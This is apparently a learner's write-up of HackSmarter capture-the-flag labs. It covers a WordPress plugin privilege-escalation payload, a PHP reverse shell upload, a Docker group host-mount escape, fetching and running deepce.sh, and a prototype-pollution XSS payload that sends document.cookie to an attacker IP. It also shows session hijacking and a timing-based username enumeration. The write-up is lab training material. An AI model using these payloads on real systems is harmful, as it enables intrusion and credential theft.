HackSmarter Challenge Lab: SQL Basics (Easy) - SQL Basics

 https://www.hacksmarter.org/courses/ecd76167-3ff0-4140-96b8-6405beb82799/take

More to Come Soon 

HackSmarter Challenge Lab: Free Access - Dark (Easy)

 Here's the link to the lab: https://www.hacksmarter.org/courses/bb164cba-ddc9-4cb0-8e95-ad4853d0143c/take

• Let's connect to VPN
• Ping our  host
• nmap -A our host
• Here we get our first inclination that his is WordPress 6.0 
• 
  
•  
•  It's been a while that I use wpscan, but I do remember it's a thing, one main source of vulnerabilities in WordPress is it's plethora of available plugins. 
• wpscan --url http://10.0.21.199 --api-token APIKEYHERE --enumerate p --plugins-detection mixed 
•  -enumerate p 
• this flag enumerates plugins, and the options are A/VP/P ( All , Vulnerable Plugins, Plugins) wpscan checks it's database and stuff, that's why we need the APIKEY
• You can enumerate more stuff like themes, users, config backups, db exports. 
• A lot of it is mumbo jumbo, while I understand the context I would have to dig a bit deeper.
• I started with --enumerate vp, figuring it would find a vulnerable plugin, but reverted back to P when it did not find something useful.
• --plugins-detection mixed 
• You either do PASSIVE/AGRESSIVE/MIXED detection methods. 
• While wpscan reported a couple of findings, we see a good one to test that includes Privilege Escalation, Unauthenticated one, the ones we love.
• 
•  Time to go digging for CVE-2026-23550
• I'll save you some time. According to this site: https://hurayraiit.com/blog/cve-2026-23550-critical-privilege-escalation-in-wordpress-modular-ds-plugin-cvss-10/#the-poc
• I use this as my payload; https://example.com/api/modular-connector/login/anything?origin=mo&type=foo Let's try it. 
•  Look at that we're in: 
•  It's really crazy how these things work. 
• Now we're in Wordpress as an admin, but that's only a step closer. I know we can probably get a shell with the Themes, maybe even use metasploit and get initial foothold to the OS there. I will come back a bit later and continue.  
• Let's try this one: https://khellwan.medium.com/from-wordpress-setup-to-reverse-shell-8c3be45c009c
• We'll update the IP of this php file https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
• Upload it to our footer-default.php
• Create a listener, save the file, and watch us wet a reverse shell. 
•  
• Now let's explore, usually web stuffz lives in /var/www, if we LS here we see user.txt 
• lets cat it out, and you have your user flag. 
• Other Methods: 
• There's many ways to do this after you have admin on WordPress, you can choose another PHP file to implement your shell in. 
•  You can upload other plugins that provide shell here's an example from GH; https://github.com/4m3rr0r/Reverse-Shell-WordPress-Plugin
• Now the shell isn't that cool , let's spawn a real shell , or at least a different one
• python3 -c 'import pty; pty.spawn("/bin/bash")' 
•  Explore some more:
•  
• Not sure if this is important.  
•  WHOAMI , I AM not ROOT :( , but I am www-data, and for some reason I am part of the docker group. 
• Rootless docker has been a thing but people usually don't set that up, because why, docker just works.
• Docker
• We're not after priviledge escalation we basically want to get the flag.  
• Let's create a container that mounts / into the container. 

• docker run -it --privileged --name root_access_container -v /:/mnt_host_root ubuntu /bin/bash

•  we can access /mnt_host_root on the container which is really / on the host , from here we can browse to /root/root.txt

•  flag{docker-is-fun-0385}
• But that's not fun let's try and get root.  
• Le'ts try this: 

  wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh

  chmod +x deepce.sh

  ./deepce.sh 

  ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami" 

  •  From here we can run other commands as root, maybe setup another listener on a different port, then reverse shell to that listener as root 

HackSmarter Challenge Lab: Free Access - Polution (Easy)

• https://www.hacksmarter.org/courses/1de73367-b278-41ba-a63c-83c2d510621c
• We'll do our normal VPN thing. 
• Our challenge is: 
• The credentials below mirror a customer. Are you able to elevate your privileges and become an Administrator? 
• After getting nowhere with the browser on port 80/443 I ran NMAP\
• 

• Now we can go to http://x.x.x.x:3000 and log in with the provided credentials
• Don't forget to change the scope in Caido or BurpSuite 

• I can change my cookie from pentester to admin.  
• It reflects on the page but I am not really an admin. 
• There's webmail, and it goes to an admin 
•  let's see if we can make the admin reach out to us, let's start a listener
•  sudo nc -nvlp 80 (nothing exciting here , you don't need a screenshot
•  Then send this over to the admin :
•  
• He clicked on our link
• 
  
•  
This is where I think we can try to steal his cookie, by calling /message?document.cookie or something like that. 
• I opened up my python http server because nc was disconnecting at every connect 
• http://10.200.78.16:8000/message?c=+document.cookie
• I don't get anything though, at least the cookie
•  This is where I cheated, I looked at some writeups, and realized that it's this thing called parameter pollution, long story short I don't know about this. 
• I am looking a bit more about it but it reminds me of PHP Filters. 

• http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="alert(1);"/>

  •  This POC shows us that we have XSS with Paramater Pollution

    I wonder if we change the 1 to document.cookie 

   Look at that.  Let's combine that with our XSS that we send to our admin in webmail.
• We'll use this payload
• http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="fetch('http://10.200.78.16:9000/?c='+document.cookie)">
• This is our response,  I used different ports not to contaminate my responses
•  
•  Now let's try and use that session in our browser, we are already authenticated as pentester, so we modify our current session in the console the browser

• document.cookie = "session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; path=/";
  document.cookie = "user=admin; path=/";

•  Then we browse into the incident reponse page: 
•  
• What did I learn here, even though this is an EASY lab , it was not easy for me, more Pollution in prototypes for me 
• Update:
• While I still don't feel smart enough to talk about Prototype pollution I used everyone's favorite new thing. AI, I gave it the available script and asked it if it was vulnerable:
• 
•  Magically it said, yep it's susceptible to DOM XSS in the renderCallback Area:
• 
•  It even gave us some POC to try in the For example area. 
• 
•  While I am not too fond of AI, I do see it's advantages at times. 
• UPDATE 2:
• I also tried DOM Invader
• 
•  and while It said that there are Exploit available, when I click exploit I did not get anything. 
• Using both ChatGPT and DomInvader, I can connect some ...(dots), I can see renderCallback is mentioned in both. 

HackSmarter Challenge Lab: Hunter (Easy)

• https://www.hacksmarter.org/courses/19723a54-6e4b-410e-b9e3-371f702e0f5c 
•  We'll do our normal things with VPN. 
• For this lab we are presented with a challenge:
• You need to identify which one is a valid username for the web application. 
• We are provided a list of possible names.  
•  
• There's a sign in page as well as a Forgot password page. 
• We don't get any discernible data when we try to log in or reset the password 
•  We use Caido's automate feature on the Forgot Password page
•  
• Here we see that the user Joey's round trip request took 1055ms , way over the ~300ms for the rest of the users. 
• We're in, that's the challenge.  
•